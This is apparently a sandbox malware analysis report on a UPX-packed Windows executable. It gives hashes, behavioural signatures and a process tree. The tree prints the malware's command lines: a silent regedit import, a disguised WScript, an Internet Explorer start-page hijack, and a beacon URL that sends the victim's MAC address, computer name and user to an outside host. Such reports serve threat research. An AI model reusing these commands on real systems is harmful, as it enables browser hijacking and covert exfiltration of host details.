Analysis

  • max time kernel
    131s
  • max time network
    185s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    04/12/2022, 09:11

General

  • Target

    af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe

  • Size

    30KB

  • MD5

    04cc5225beb0b03bc052167e3c435dac

  • SHA1

    14c6851521168e856d53737cbda6300dac264c84

  • SHA256

    af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372

  • SHA512

    0d0017c50cbfc95caefc8b7287f234917a5da1575edca73003794464e975dca66e03be8ee4ba4e8dab7ef025018639577a5f94412d6f4a025f0e2378a0365c4a

  • SSDEEP

    768:cInEXNC2q64k1b67RHTSydVmTwKDfefY5n76:HEXN7J4QuRLVmTXeA5O

Score
8/10
upx

Malware Config

Signatures

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
    "C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s "C:\Program Files\Common Files\tk.reg"
        3⤵
        • Modifies registry class
        • Runs .reg file with regedit
        PID:976
    • C:\Windows\SysWow64\WScript.exe
      "C:\Windows\SysWow64\WScript.exe" "C:\program files\winrar\ggzhcecrz.edbru"
      2⤵
      • Drops file in Program Files directory
      • Modifies Internet Explorer settings
      • Modifies Internet Explorer start page
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.58lala.com/?bymf
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275457 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1208
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275470 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1192
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=EA:F6:07:1D:98:F9&a_cpname=GRXNNIIE&a_user=bymf&a_locip=0.0.0.0
      2⤵
        PID:1016
      • \??\c:\windows\SysWOW64\wscript.exe
        c:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs
        2⤵
        • Deletes itself
        PID:1688

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Program Files\Common Files\tk.reg

      Filesize

      2KB

      MD5

      bd36321aa07319a35f12fc3873cd9234

      SHA1

      937a72f3876fb16262db99d958b175df4078ee2c

      SHA256

      293b834119734c8d694fb5ecfd56aa69a5cabb526dbf376a9a99c33ad3c45065

      SHA512

      b6a0930c4ef2be2f12b19ac53181b545996b71118fce9edfd91dd0c84aec863299add5450114a4fe6c639796e1c86de10389d73e45254700577da02fd5c1b042

    • C:\Users\Admin\AppData\Local\Temp\Killme.vbs

      Filesize

      213B

      MD5

      89a5eb009655f63a6029e151d0897d45

      SHA1

      10b483443db34d04df59f225caf1d5b059728372

      SHA256

      eb84f76a2afcf0bad5be9825a1c58de74b74809b82f1f33a889de6983f1ca306

      SHA512

      7e1d0845d5bdc8b4fe81e701c055c46e22816d55328811ce22cf34aa5b30819a3878e00223f71e5dfd062269419a7f32bab010e5672b861ab5e440f706476e4b

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\W1K0IE77.txt

      Filesize

      603B

      MD5

      e957966fa96ac9623329cb3f586afbbe

      SHA1

      13e4a4085be87b62194e2800aeb8024a8e8e27b4

      SHA256

      e1475c8da3c17afbdaf7c06d8ff61aa59fe0e48de852aa6428476f85e35fb843

      SHA512

      0089c8bd2c98c105afd89fe04e42ad2e50bd16ced9236075456eb8734583bd02b0bb260653e562e015e9a217bd5c793853f0caf4756dcb6f815c5c8302488921

    • C:\program files\winrar\ggzhcecrz.edbru

      Filesize

      43KB

      MD5

      4204f5d4ac4ee5d17f6413f04ad13fdf

      SHA1

      eb5c61f98033b7bd3a9f6b2c19aa5be4ce85dab9

      SHA256

      d1e79a781f725784d375184fa55aeb3c44a6ca0c21604b8e2755fa448b7df2da

      SHA512

      06677bdd728cb856e515ba227277ba15d1061d62aabd128c8c9a8dacae1b56d72e28e61bf5342527534782c159957178108d114cfcc089c0eb7adec6ee8bfbf2

    • memory/976-59-0x0000000075B11000-0x0000000075B13000-memory.dmp

      Filesize

      8KB

    • memory/1788-56-0x0000000000400000-0x000000000042A000-memory.dmp

      Filesize

      168KB

    • memory/1788-65-0x0000000000400000-0x000000000042A000-memory.dmp

      Filesize

      168KB

    • memory/1788-67-0x0000000000400000-0x000000000042A000-memory.dmp

      Filesize

      168KB